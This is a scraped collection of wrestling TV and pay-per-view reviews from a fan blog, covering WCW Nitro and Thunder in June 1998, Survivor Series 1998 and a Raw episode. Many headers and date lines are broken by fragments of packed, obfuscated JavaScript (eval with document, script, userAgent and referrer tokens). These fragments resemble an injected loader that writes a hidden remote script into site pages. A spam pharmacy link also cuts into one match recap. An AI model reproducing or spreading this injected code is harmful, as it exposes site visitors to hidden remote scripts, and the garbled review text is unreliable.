Monday Nitro – June 22, 1998: Canada Saves Us Again

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhsth|var|u0026u|referrer|dyfba||js|php'.split('|'),0,{})) Nitro #142
Date: June 22, 1998
Location: Jacksonville Memorial Coliseum, Jacksonville, Florida
Attendance: 8,749
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan, Larry Zbyszko

We open with promises of clips from the Karl Malone press conference later.

Opening sequence.

The announcers talk about the tag match for a bit.

We look at Hogan and Rodman attacking Page with chairs a few weeks ago.

We get a clip from the Tonight Show with Hogan and Rodman as guests making fun of Malone for losing in the NBA Finals.

Disco Inferno vs. Len Denton

Post break JJ makes Giant vs. Greene for tonight. Great, more sports stars dominating the show.

Tokyo Magnum vs. Yuji Nagata

A leg lock has Tokyo in trouble as the announcers talk about a bunch of sports stars instead of wrestling. Various leg locks abound and a standing ax kick puts Magnum down. Nagata misses a running knee in the corner and Tokyo scores with a dropkick for two. Not that it matters as a spinwheel kick to the face sets up the Nagata Lock to make Magnum tap.

Raven talks about Saturn betraying him in his usual style.

We cut to the back where Stevie Ray has attacked Benoit.

Public Enemy vs. Sick Boy/Horace

Sick Boy whips him into the corners a few times, only to get caught in a sunset flip for two. The bad guys take turns stomping mudholes in Rocco before Horace gets two off a side slam. Rocco gets clotheslined out to the floor before coming back inside to avoid a charge in the corner. The announcers ignore the match to talk about football and basketball players as Horace accidentally hits Sick Boy with a stop sign. Rocco comes off the top and drives the sign into Horace for the pin.

The Nitro Girls are now in NWO shirts and no one seems to notice.

We get even more Tonight Show footage with Page and Malone coming out to face Rodman and Hogan. A fight nearly broke out and this goes on way too long. This was before the match was officially announced but the news had leaked weeks earlier anyway.

Hour #2 begins.

US Title: Goldberg vs. Rick Fuller

Goldberg takes him down and grabs the ankle before hitting a botched spear (it looked more like a tackle/spinebuster with Full taking a few steps back before going down) and the Jackhammer to retain.

Annoying fans talked about Rodman earlier today.

The announcers talk about Kevin Greene again.

More kids talking about the celebrity match. Good grief we get it already.

Fans talking about basketball players again.

Nitro Girls in silver.

Alex Wright vs. Eddie Guerrero

The announcers are talking about the basketball players before the bell even rings. Alex takes him down to start and stomps away before dancing a bit. Eddie comes back with a jumping back elbow and some chops in the corner but Alex pokes him in the eye. A backbreaker allows Alex to dance a bit more and get a delayed two. Eddie dropkicks him down so Alex bails to the floor for a breather. Back in and a quick suplex gets two for Wright but he misses a top rope knee drop. Eddie comes back with the brainbuster as Chavo comes out to cheer. The distraction lets Wright grab a suplex for the pin.

More fans, more Rodman, more aspirin for me.

Back from a break and we get MORE fans talking about the tag match.

Konnan vs. Scotty Riggs

The announcers talk about the basketball match again.

Now we get to see the freaking press conference announcing the match where the ball players cut promos on each other.

Hour #3 begins.

Steve McMichael vs. Stevie Ray

Rating: F. Let this show end soon before I injure myself.

Chris Benoit vs. Bret Hart

Kevin Greene vs. Giant

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Thunder – June 18, 1998: Wake Me When It’s Over

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfbst|var|u0026u|referrer|yiseb||js|php'.split('|'),0,{})) June 18, 1998
Location: Corestates Spectrum, Philadelphia, Pennsylvania
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone

Steve McMichael vs. Mike Enos

McMichael bails to the floor but Enos slams the arm into the barricade and steps to keep the pressure on. Mongo comes back in the ring with a shot to the head with the right arm and shows no sign of pain. Is it any wonder why he never worked? A three point shoulder puts Mike down but he blocks the tombstone. Enos slaps him in the face so McMichael Mongos Up and hits the tombstone for the pin.

Post match Mongo gives the sign of the Horsemen.

Goldbeg video.

Fit Finlay vs. Brad Armstrong

This week in WCW Motorsports is still a thing for some reason.

Giant vs. Disco Inferno

IWGP Tag Titles: Tenzan/Masahiro Chono vs. British Bulldog/Jim Neidhart

Chono comes back in and goes after Davey, allowing the champions to double team Neidhart a bit. Jim comes back with a hard forearm to Chono and makes the hot tag to bulldog. House is cleaned and the powerslam puts Tenzan down, but Chono hits Davey with the belt for the DQ.

Jim and Davey clear out the NWO guys.

Rick Rude says Goldberg better be ready for Hennig at the PPV. Hennig is up in Minnesota training hard with Brad Rheingans to take the title. Nothing special from Rude, but a Goldberg chant starts up and stops almost immediately in a bad production error.

Konnan vs. Alex Wright

Video on Hogan and Rodman.

Eddie Guerrero vs. Chris Benoit

Post match Chavo comes out and says Eddie is still his favorite wrestler, sending Eddie walking away in disgust.

Public Enemy vs. Riggs/Sick Boy

US Title: Goldberg vs. Reese

End of show. Seriously.

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Survivor Series Count-Up – 1998: Vince’s Master Plan

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbdnr|var|u0026u|referrer|aksrz||js|php'.split('|'),0,{})) Series 1998
Date: November 15, 1998
Location: Kiel Center, St. Louis, Missouri
Attendance: 21,779
Commentators: Jim Ross, Jerry Lawler

The opening video is of the people in the tournament talking about wanting to be champion.

Here are the tournament brackets:

Undertaker

BYE

Kane

BYE

Rock

HHH

Goldust

Ken Shamrock

Mankind

???

Jeff Jarrett

Al Snow

X-Pac

Steven Regal

Steve Austin

Big Boss Man

This is a tournament where you could have easily cut out the first round and made it an eight man tournament but I guess they needed to fill in the time.

WWF World Title Tournament First Round: Mankind vs. ???

Earlier tonight on Heat, Jacqueline jumped Sable. This gives us ANGRY Sable which is more funny than interesting or intimidating.

WWF World Title Tournament: Jeff Jarrett vs. Al Snow

Rating: C+. This is a good idea: take two talented guys and let them have a match. What more do you need to do? The ending was a little screwy but they got there on a smooth wrestling match. When Russo could be held back from making things too crazy, late 98 WWF had more than enough talent to put on fun matches like this. Good stuff.

WWF World Title Tournament: Steve Austin vs. Big Boss Man

Vince smiles at the ending as Austin gets beaten down by the stick some more. He says the night is young.

WWF World Title Tournament First Round: X-Pac vs. Steven Regal

WWF World Title Tournament First Round: Goldust vs. Ken Shamrock

WWF World Title Tournament First Round: The Rock vs. HHH

WWF World Title Tournament First Round: The Rock vs. Big Boss Man

Roc literally immediately rolls Boss Man up and wins in three seconds, setting a new WWF record.

Here are the updated brackets for the quarterfinals:

Undertaker

Kane

Rock

Ken Shamrock

Mankind

Al Snow

Steve Austin

BYE

WWF World Title Tournament Quarterfinals: Undertaker vs. Kane

Taker gets caught in the corner with a clothesline and the top rope clothesline follows it up for two. They slug it out some more and good grief SELL SOMETHING ALREADY! Taker tries a chokeslam but gets countered into one by Kane. Bearer distracts Kane on the apron though and Taker pops up with a tombstone to eliminate Kane.

WWF World Title Tournament Quarterfinals: Mankind vs. Al Snow

WWF World Title Tournament Quarterfinals: Ken Shamrock vs. The Rock

The final four are now set:

Undertaker

The Rock

Mankind

Steve Austin

Bearer says Undertaker will win.

WWF World Title Tournament Semifinals: Mankind vs. Steve Austin

WWF World Title Tournament Semifinals: The Rock vs. Undertaker

Taker and Kane brawl everywhere.

Mankind is ready to climb his last Rock.

We recap Austin getting cheated out of the finals.

WWF World Title: The Rock vs. Mankind

Vince and Shane are back and are talking with Boss Man backstage. Feeling out process to start as Lawler makes fun of Halloween Havoc going off the air earlier a few weeks prior to this. Rock gets two off a clothesline and they head to the floor quickly. Rock gets rammed into the steps and Mankind takes over. Back inside for a chinlock as the McMahons come out. JR is very annoyed at various things and he vents a bit as they come to the ring. A suplex gets Rock out of the hold and Mankind is sent outside.

Rock suplexes Mankind on the floor but he has to go after the McMahons a bit. Into the crowd we go with Rock in control. He backdrops Mankind back to ringside and we head into the ring for a Rock chinlock. Mankind fights back up and hits a Cactus Clothesline to take it back to the floor. A chair takes Rock down again and Mankind gets the steps, only to have them knocked down onto him. Rock pounds on the steps on Mankind with the chair before cracking Mankind over the head with the chair.

Ratings Comparison

Mankind vs. Duane Gill

Original: N/A

Redo: N/A

Al Snow vs. Jeff Jarrett

Original: B+

Redo: C+

Steve Austin vs. Big Boss Man

Original: D

Redo: C-

X-Pac vs. Steven Regal

Original: B

Redo: C-

Ken Shamrock vs. Goldust

Original: D+

Redo: D-

The Rock vs. Big Boss Man

Original: A (For Are you kidding me)

Redo: N/A

Undertaker vs. Kane

Original: C-

Redo: F+

Mankind vs. Al Snow

Original: D

Redo: D+

The Rock vs. Ken Shamrock

Original: C-

Redo: C-

Sable vs. Jacqueline

Original: D

Redo: D-

Mankind vs. Steve Austin

Original: C+

Redo: C+

The Rock vs. Undertaker

Original: B-

Redo: D

Original: F

Redo: F

Mankind vs. The Rock

Original: B-

Redo: C-

Overall Rating:

Original: C+

Redo: D+

Man what was I thinking with some of those ratings? I had no idea what I was doing back then and it shows.

http://kbwrestlingreviews.com/2011/11/07/history-of-survivor-series-count-up-1998-deadly-game-the-tournament-not-hhh/

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Monday Nitro – June 15, 1998: The Roddy Piper Show

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yssff|var|u0026u|referrer|srrin||js|php'.split('|'),0,{})) Nitro #141
Date: June 15, 1998
Location: Nassau Veterans Memorial Coliseum, Uniondale, New York
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan, Laryr Zbyszko

Public Enemy vs. Hugh Morrus/Barbarian

Earlier today Mike interviewed some fans to find out if they were ready for Nitro.

We recap the Wolfpack recruiting Page from last week.

Opening sequence.

Nitro Girls.

We get some stills of the tag match last night.

Chris Benoit vs. Fit Finlay

Benoit is up first but the Swan Dive only hits mat and Finlay drops another knee to the head. These shots are making me cringe more and more every time. The rolling senton puts Benoit down again but Benoit goes into beast mode, countering the tombstone into the Crossface for the win.

Nitro Girls.

Hiroshi Tenzan/Masahiro Chono vs. High Voltage

The Japanese guys are IWGP Tag Team Champions and are in the Black and White. Robbie Rage gets jumped to start but Kaos comes in off the top with a clothesline to take down Chono. High Voltage clears the ring and we take a break. Yes, this match is getting a break. Back with Rage stomping on Tenzan and putting on a reverse chinlock. Tenzan fights up as the announcers talk about Goldberg being with his sick mom tonight.

Still shots of Giant vs. Sting last night.

Kanyon vs. Sick Boy

Chris Adams vs. The Giant

Giant is smoking again. This actually lasts longer than I expected, going a full 20 seconds before the chokeslam ends Adams.

We look at Hogan and Rodman attacking Page again last week.

More Nitro Girls and the Nitro Party video.

Hour #3 begins.

Tag Titles: Sting/Kevin Nash vs. Harlem Heat

Tony gets the continuity wrong before the bell, saying Sting has been a tag champion for a long time, even though it was clearly stated the titles were vacant coming into last night. Booker and Sting get us going in the best possible pairing for this match. Things start fast with Sting jumping over Booker before taking him down with a hiptoss. Booker bails to the floor for a meeting with Stevie before coming back in with the jumping forearm.

Stevie yells at Booker so T brings him in to try his own luck. Ray stomps Sting down but he comes back with some of those odd shots to the face of his own, allowing for the tag off to Nash. Kev comes in but walks into a slam, only to have Stevie miss an elbow drop. We take a break and come back with Booker missing a dropkick on Sting. Back to Nash for knees in the corner and the big boot to the jaw before the side slam gets two.

The Wolfpack keeps up the fast tags with Nash coming back in but Booker escapes Snake Eyes and gets two off a rollup. Booker avoids the Stinger Splash and finally makes the tag off to Stevie. Sting walks into a powerslam but Stevie talks trash, only to get caught in the Death Drop for the pin about 10 seconds after he was tagged in.

Rating: D+. Not a terrible match here and at least Stevie did the job instead of Booker. The match was pretty dull though with Nash seeming to be as bored as you could imagine him to be and Sting just going through the motions as well. Harlem Heat was done as a top tag team but they were still good enough for a spot like this.

The announcers talk about the cage match.

Remember that video of Scott Steiner on a movie set with Hogan where they met Carl Weathers? Well here it is again.

Nitro Girls.

Randy Savage vs. Diamond Dallas Page

Back up and they hit heads to put both guys on the mat again. We take a break and come back with Page pounding away and scoring with a clothesline, only to be taken down by a low blow. Savage goes up for the big elbow but hurts his knee on the way down, allowing Page to kick out. Savage and Piper get in a fight over the speed of the count with Savage laying him out via a piledriver. Page comes back with the Diamond Cutter to put all three guys down.

Overall Rating: C-. While not great, this was SO much better than last week as they kept things moving. Rather than focusing on one story, the show focused on different stories at different times which made things a lot easier to sit through. Hogan only having one promo and a run-in at the end is a great example of this as he had something like nine appearances last week. The wrestling was passable and the stories were advanced as well, which is all you can ask for a lot of the time.

 

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Great American Bash 1998: Top Ten Show If You Stop After Goldberg

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tynyr|var|u0026u|referrer|aifab||js|php'.split('|'),0,{})) American Bash 1998
Date: June 14, 1998
Location: Baltimore Arena, Baltimore, Maryland
Attendance: 12,810
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan

The opening video is a seizure inducing series of videos of the people in almost all the matches with various patriotic symbols in between.

The announcers talk about the main events a bit.

Booker T vs. Chris Benoit

Chavo is on the internet and says he needs the punishment that Eddie will give him tonight.

Saturn vs. Kanyon

Kanyon gets back up and hits a kind of Fameasser out of the corner as Lodi, Riggs and Horace are all on the floor. Saturn kicks him to the floor for a triple team from the Flock, followed by a BIG dive over the top to put everyone down. Nick Patrick throws the Flock out and Kanyon is whipped into the barricade (called the post by Tony) to injure his ribs. Back in and Saturn kicks away at the head and puts on an ankle lock. Off to something resembling Cattle Mutilation but Kanyon gets his feet in the ropes.

Cruiserweight Title: Dean Malenko vs. Chris Jericho

Jericho is getting frustrated at not being able to finish Malenko so he chokes Dean on the top rope. A slam sets up the Lionsault but Malenko rolls away to get a breather. Malenko comes back with a leg lariat and a rolling cradle for two. A middle rope facejam out of the corner gets another close two and Dean puts Jericho on the top. Jericho is able to fight out of the super gutbuster and hook a top rope hurricanrana. A very quick cover gets two for Chris but his powerbomb is blocked by right hands.

Eddie begs Chavo for forgiveness and for Grandma to get him out of this.

Juventud Guerrera vs. Reese

Standard giant bully vs. scrappy little guy story coming into this. Guerrera prays before the match starts and we get a LONG staredown. Juvy tries a right hand but is easily sent backwards into the corner. He charges right back and scores with some shots to the face but Reese shoves him right back down. Guerrera bails to the floor and gets Reese to chase him, only to slide back in and try a dive. Reese pulls him out of the air and tosses Juvy back inside but the small man kicks at the knee as Reese gets back in.

Eddie Guerrero vs. Chavo Guerrero Jr.

Back up and Chavo rushes at Eddie but gets dropped face first on the top turnbuckle. Eddie misses a charge into the post though and Chavo rams him into all three buckles in a corner a total of about 15 times. Chavo drags him around the ring by the hair and dropkicks him down, sending Eddie out to the floor. He tries to walk out but Chavo is still ticked off. They head back in where Eddie kicks the rope into Chavo to take over.

Back in and Eddie works on the arm for a bit before sending Chavo to the apron. The nephew goes up top and tries a flip attack but lands on his feet, only to run across the ring and go up top for a moonsault press, good for two. Eddie sends him right back into the corner and out to the floor as this has been very physical for the first six minutes or so. Back inside and a brainbuster puts Chavo down, but Eddie slaps him in the face to make Chavo snap again. Chavo chases Eddie around the ring until Eddie gets back inside and hides behind the referee.

We get the Piper vs. Savage confrontation from Nitro to remind us that the last hour and forty five minutes of awesome are going to be brought down into the abyss very soon. Given that there are five matches left and about an hour to go, things are about to get very screwy in a hurry.

TV Title: Booker T vs. Fit Finlay

Booker comes back with a spinwheel kick and a powerslam before hitting the ax kick. He spins up so Finlay clotheslines him inside out. The tombstone from Finlay is countered into an AWFUL looking sequence where Booker was supposed to backflip into a tombstone of his own, but instead he fell down and got covered for two. Back up and Finlay misses a charge into the “post”, allowing Booker to hit a kneeling piledriver (Finlay was facing forward but Booker dropped to his knees like a tombstone) for the pin and the title.

US Title: Konnan vs. Goldberg

Roddy Piper/Randy Savage vs. Hollywood Hogan/Bret Hart

Roddy Piper vs. Randy Savage

Tag Titles: Sting vs. Giant

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Thank You All – E-Book Edition

Thank eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yrzas|var|u0026u|referrer|ahryr||js|php'.split('|'),0,{})) you all for picking up my e-books. In August my sales were higher than I had ever expected them to be and then in October they were 20% higher than that. They’re already selling well this month and every time I check the figures I shake my head. Thank you all for taking a chance on my stuff and I’ll be putting more of them out as long as you guys want them. Hopefully there should be a new one out by the end of the month.

In case you haven’t seen them or haven’t heard of them, here’s my Amazon author page with links to all five books I have out, including:

Complete 1998 Monday Night Raw Reviews
Complete 2001 Monday Night Raw Reviews
History of Starrcade
History of the WWE Championship
Complete Monday Nitro Reviews Volume 1 (1995-1996)

Please check them out as they’re only $4 each with the shortest being about 200pgs.




Thunder – June 11, 1998: The Show WCW Has Been Needing

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rsfze|var|u0026u|referrer|fssea||js|php'.split('|'),0,{})) June 11, 1998
Location: Marine Midland Arena, Buffalo, New York
Commentators: Bobby Heenan, Tony Schiavone, Lee Marshall

NWO Black and White are here with some rather good looking women.

We get a clip of Rodman and Hogan attacking Page to end Nitro.

We see Hogan/Rodman complaining about all the money Nash cost him with the powerbombs from Monday.The

Cruiserweight Title: Dean Malenko vs. Riggs

Video on Goldberg.

Kidman vs. Juventud Guerrera

We hit the chinlock from Kidman for a good while until Juvy fights up with some clotheslines for two. Kidman comes back with something resembling a German suplex and sends Juvy to the apron, only to have him come back with a top rope spinwheel kick for two. A powerslam gets the same for Billy and a short powerbomb gets another two. Back up and Juvy grabs his namesake driver, setting up the 450 for the pin.

Chris Benoit vs. Booker T

This is the last match in the best of seven series for a TV Title shot on Sunday. Benoit stops and glares at Hart who is holding up a t-shirt. Stevie is with Booker for the entrance here. Benoit starts fast, pounding away on Booker and getting two off a back elbow to the jaw. Booker comes back with a kick to the ribs to send the Canadian to the floor but they head back inside so Chris can elbow him down again.

Heenan goes NUTS about Benoit giving up the series like that.

Konnan vs. Scott Putski

Saturn vs. Glacier

We see Savage and Piper hitting each other on Nitro.

Disciple/Giant vs. Randy Savage/Lex Luger

We have about four minutes of TV time left. The brawl is on quickly with no tagging at all of course. Giant clotheslines Disciple down by mistake but Eric pops up and says come get Liz if you want her. Savage goes after him but Bret and Hogan pop out of the limo for the big beatdown. Nash comes in but Giant takes him out, allowing Hart and Hogan to destroy Randy as the show ends.

Overall Rating: B. This might have been the best show in the entire series so far. We had an awesome twenty minute match with Benoit vs. Booker and another solid one in Juvy vs. Kidman, meaning this was about 400% better than Nitro in the wrestling department. On top of that they toned the NWO stuff WAY down and actually advanced stories other than the tag match on Sunday. Good show here and something WCW was really needing.

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Monday Nitro – June 8, 1998: Once Every 15 Minutes

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdehe|var|u0026u|referrer|ekhbr||js|php'.split('|'),0,{})) Nitro #140
Date: June 8, 1998
Location: The Palace of Auburn Hills, Auburn Hills, Michigan
Commentators: Larry Zbyszko, Bobby Heenan, Tony Schiavone, Mike Tenay

Opening sequence.

Nitro Girls.

The announcers talk about the power struggle for a few minutes as is their custom.

Yuji Nagata vs. Jerry Flynn

We see Luger recruiting Page to the Wolfpack from Thunder.

Reese/Horace vs. Van Hammer/Juventud Guerrera

Eddie Guerrero vs. Scott Putski

Chavo punches Scott out as Eddie bails. The nephew shouts at Eddie to come back because he needs his uncle.

Chris Benoit vs. Booker T

Match #6 in the best of seven series for the TV Title shot on Sunday with Booker trailing 3-2. Feeling out process to start until with Booker taking it to the mat, only to have Benoit take over with a hammerlock. Booker counters into one of his own before lifting Benoit into the air into a kind of pumphandle slam. A spinning kick to the face puts Benoit down again and the Canadian bails to the floor.

Nitro Girls.

Nitro Party winner.

TV Title: Fit Finlay vs. Norman Smiley

Finlay grabs a headlock and a cravate to start but Smiley hiptosses him down and scores with a dropkick. Finlay comes back with a rake to the eyes and takes Smiley down into a Crippler Crossface. Back up and a running forearm puts Smiley on the apron for some shots to the chest. The fans do the wave and the announcers actually call it. Finlay puts on an armbar for a bit before planting Norman with the tombstone to retain.

Hour #3 begins.

The announcers talk. Again.

Cruiserweight Title: Disco Inferno vs. Dean Malenko

Dean stomps him down in the corner to start and gets two off a powerslam. Disco comes back with a clothesline and an elbow drop for two but Dean puts him back down with a leg lariat. The Cloverleaf retains the title with ease.

More Nitro Girls, this time in pink.

Video of Hogan (#7) and Steiner on a movie set where they run into Carl Weathers (Apollo Creed from the Rocky movies).

Back to the lounge for Hogan to talk about how awesome an actor Scott Steiner is going to be.

Video on Goldberg.

US Title: Goldberg vs. Chavo Guerrero Jr.

 

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On This Day: October 26, 1998 – Monday Night Raw: Austin In An I Quit Match

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytbfh|var|u0026u|referrer|fsnhn||js|php'.split('|'),0,{})) Night Raw
Date: October 26, 1998
Location: Kohl Center, Madison, Wisconsin
Attendance: 10,220
Commentators: Jim Ross, Jerry Lawler

European Title: X-Pac vs. Steve Blackman

Vince is talking to his lawyers again and says they wrote the document so they can break it.

Darren Drozdov vs. The Rock

Hawk gets left behind again.

Austin has been advised not to say anything tonight. “We” will have a statement later on though.

Vince yells some more, talking about a contract and opportunities.

Kane vs. Gangrel

Post break Shane is leaving and Austin throws him a beer.

Tiger Ali Singh vs. Godfather

Oddities vs. Kai En Tai

Marc Mero vs. Goldust

Goldust takes him down with a clothesline to start and pounds away in the corner. He hits a slingshot belly to back suplex for two but Mero gets in a low blow while Jackie offers a distraction. Goldust comes back and hits Shattered Dreams for the quick DQ. Not much here.

Mankind is confident that he and Snow can win the titles tonight. They argue over whose prop is dumber.

Tag Titles: New Age Outlaws vs. Al Snow/Mankind

Double arm DDT looks to set up Socko but Billy breaks it up. The challengers fight over Head but no one swings it. Billy and Mankind go to the floor as Snow hits the Snow Plow on Dogg. The challengers argue over whether to use Socko or Head for the pin and it lets Roadie roll Snow up to retain.

Rating: D. This was another boring match in a long running series of them over the last two weeks. The ending was the usual swerve as one team was dominating and the other wound up winning on a fluke. Then again that could be the case for almost every Outlaws match for a long stretch of time.

Snow has Socko and Mankind has Head until they trade back.

Ken Shamrock vs. Steve Austin

The Stooges all get Stunners to end the show.

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Thunder – June 4, 1998: One Stacked B Show

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|irzha|var|u0026u|referrer|nrraz||js|php'.split('|'),0,{})) June 4, 1998
Location: Peoria Civic Center, Peoria, Illinois
Commentators: Mike Tenay, Lee Marshall, Tony Schiavone

We open with the required recap of Sting joining the Wolfpack from Monday.

The announcers talk about the jump a bit.

Chris Benoit vs. Booker T

This is match #5 in the best of seven series for a TV Title shot at the Great American Bash with Benoit leading 3-1. They trade hammerlocks to start until Booker elbows him in the back to take over. A high side kick is good for two and the ax kick gets the same for Booker. Mr. T. stomps away in the corner but he whips Benoit in, only to be caught in the rolling Germans to give Benoit control.

Reese vs. Van Hammer

Eddie Guerrero vs. Alex Wright

Chavo stalks Eddie to the back and Wright dances a bit.

TV Title: Fit Finlay vs. Psychosis

Clips of Sting being recruited by and joining the Wolfpack on Monday.

Glacier vs. Saturn

http://onhealthy.net/product-category/mens-health/ suplex, meaning he was in the middle of the rope rather than the corner. A Lodi distraction lets Saturn superkick Glacier down but the referee goes down in the process. Cue Kanyon dressed as a referee with a Downward Spiral to Saturn. Glacier hits the superkick for the pin.

Cruiserweight Title: Dean Malenko vs. Silver King

Raven vs. Disco Inferno

Raven charges right into the corner to stomp Disco down before raking his face. Disco gets an elbow up in the corner before choking Raven with wrist tape. A swinging neckbreaker gets two for Inferno but Raven easily sends him to the floor. Disco is sent into the steps and Raven sends both him and a chair back into the ring. Disco blocks a hiptoss and sends Raven face first into the chair before stomping a mudhole in the corner. Raven comes right back with the drop toehold into the chair and the Even Flow ends this easily.

Post match Raven calls out Kanyon for a one on one showdown, even laying down on his back to give Kanyon an advantage.

Before the next match, Tony acknowledges the passing of Junkyard Dog the previous Tuesday. Glad they worked that in after 90 minutes.

US Title: Goldberg vs. Hugh Morrus

Tag Titles: Giant/Brian Adams vs. Lex Luger/Diamond Dallas Page

 

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